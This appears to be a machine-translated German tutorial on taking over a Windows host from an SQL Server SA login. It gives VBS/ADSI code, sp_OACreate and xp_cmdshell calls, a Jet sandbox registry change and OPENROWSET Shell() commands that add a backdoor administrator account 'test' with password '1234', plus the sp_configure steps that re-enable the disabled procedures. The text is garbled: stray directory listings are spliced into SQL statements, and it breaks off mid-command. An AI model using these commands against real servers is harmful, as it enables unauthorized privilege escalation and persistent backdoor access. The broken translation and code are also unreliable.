SA-Kennwort den Zugriff auf häufig, weil der Server-Administrator, oder "Zurück" wird net.exe net1.exe und beschränkt sich auf das Administrator-Konto verwenden können nicht hinzugefügt werden. Wir wissen, VBS in Active Directory (ADSI) Teil eines winnt Objekt verwendet, um lokale Ressourcen zu verwalten, benutzen es und so kann nicht auf Befehl CMD verlassen kann ein Administrator die spezifischen Code wie folgt hinzuzufügen:
gesetzt wsnetwork = CreateObject ("WScript.Network")
os = "WinNT ://"& wsnetwork.ComputerName
Set ob = GetObject (os) "erhalten ADSI-Schnittstelle, verbindliche
Set oe = GetObject (os & "/ Administratoren, Gruppe") "Eigentum, admin Gruppen
Set OD = ob.Create ("user", "test") 'Erstellen eines Benutzers
od.SetPassword "1234" 'Set Password
od.SetInfo 'Save
Set = GetObject (os & "/ test", user) 'erhalten die Benutzer
oe.add OS & "/ test"
Der obige Code zu 1.vbs zu retten, dann führen Sie den Befehl für die "cscript 1.vbs", so dass das System ein System namens der Test hinzufügen wird, ist der 1234 Benutzer. Konkrete Umsetzung des Code in Query Analyzer wie folgt:
declare @ o int, int f @, @ t int, int ret @
exec sp_OACreate "Scripting.FileSystemObject", @ o out
exec sp_OAMethod @ o, "CreateTextFile ', @ f out,' c: 1.vbs ', 1
exec @ ret = sp_OAMethod @ f, "WriteLine", NULL, 'set wsnetwork = CreateObject
("WScript.Network") "
exec @ ret = sp_OAMethod @ f, "WriteLine", NULL, 'os = "WinNT ://"& wsnetwork.
ComputerName "
exec @ ret = sp_OAMethod @ f, "WriteLine", NULL, 'Set ob = GetObject (os) "
exec @ ret = sp_OAMethod @ f, "WriteLine", NULL, 'Set oe = GetObject
(OS & "/ Administratoren, Gruppe") "
exec @ ret = sp_OAMethod @ f, "WriteLine", NULL, 'Set OD = ob.Create
("User", "test") '
exec @ ret = sp_OAMethod @ f, "WriteLine", NULL, 'od.SetPassword "1234" "
exec @ ret = sp_OAMethod @ f, "WriteLine", NULL, 'od.SetInfo "
exec @ ret = sp_OAMethod @ f, "WriteLine", NULL, 'Set = GetObject
(OS & "/ test", user) '
exec @ ret = sp_OAMethod @ f, "WriteLine", NULL, 'oe.add OS & "/ test" "
Durch die obige Aussage, dann führen Sie den folgenden Code-Zeile, diese Zeile muss die Implementierung zu trennen, nicht mit der Umsetzung der oben zusammen, sonst wird es Eingabeaufforderung "C: 1.vbs von einem anderen Programm" kann nicht erfolgreich fügen Sie den Benutzer ausgeführt :
exec master .. xp_cmdshell 'cscript c: 1.vbs "
Wenn das System Benutzer nicht erfolgreich hinzugefügt haben, kann es sein, weil das System des Benutzers 1234 ist zu einfach, nicht die komplexen Passwort-Policy-Server, betrachten Ke Yi komplizierter Einstellungen und dann testen. Sie können auch zu echo 1.vbs Code, der Code-Format zu schreiben:
exec master .. xp_cmdshell 'echo gesetzt wsnetwork = CreateObject ("WScript.Network")
1.vbs "
Allerdings weiß nicht, warum alle mit "&"-Zeichen in Befehlszeilen kann nicht schreiben 1.vbs, interessieren, was ein Freund kann versuchen zu lösen.
Mit Jet Sandkasten Modell kann xp_cmdshell gespeicherte Prozeduren und andere relevante dynamic link library Ärger gelöst werden. Aus Sicherheitsgründen funktioniert das System nicht standardmäßig auf Sandbox-Modus, der xp_regwrite offene Sandbox-Modus erfordert geöffnet:
Exec master.dbo.xp_regwrite "HKEY_LOCAL_MACHINE", "SOFTWAREMicrosoftJet4.0
Engines ',' SandboxMode "," REG_DWORD ", 1
Führen Sie anschließend den Befehl Sandkasten, fügt das System einen Benutzer namens Test, das Kennwort für Benutzer der 1234:
Wählen Sie Backup-bin conf config Daten eshow_sitemap.html generate.sh log maint sitemap.html svn tmp von OPENROWSET ('Microsoft.Jet.OLEDB.4.0', '; database = c: windows
system32iasias.mdb ',' SELECT Shell ("cmd.exe / c net user test 1234 / add") ')
Wählen Sie Backup-bin conf config Daten eshow_sitemap.html generate.sh log maint sitemap.html svn tmp von OPENROWSET ('Microsoft.Jet.OLEDB.4.0', '; database = c: windows
system32iasias.mdb ',' SELECT Shell ("cmd.exe / c net localgroup
Administratoren test / add ") ')
Unterschiedliche Betriebssysteme, ist der Weg nicht die gleiche Notwendigkeit, Änderungen an der Situation zu machen:
NT/2K: c: winntsystem32
XP/2003: C: windowssystem32
Ein weiterer Microsoft SQL Server2005 in Verzug, ist die Anzahl der gespeicherten Prozedur abgeschlossen und erfordert einen Befehl zu öffnen:
Open xp_cmdshell:
EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure
'Xp_cmdshell', 1; RECONFIGURE;
Open 'OPENROWSET ":
exec sp_configure 'show advanced options', 1; RECONFIGURE; exec sp_configure
"Ad Hoc Distributed Queries ', 1; RECONFIGURE;
Open 'sp_OACreate ":
exec sp_configure 'show advanced options', 1; RECONFIGURE; exec sp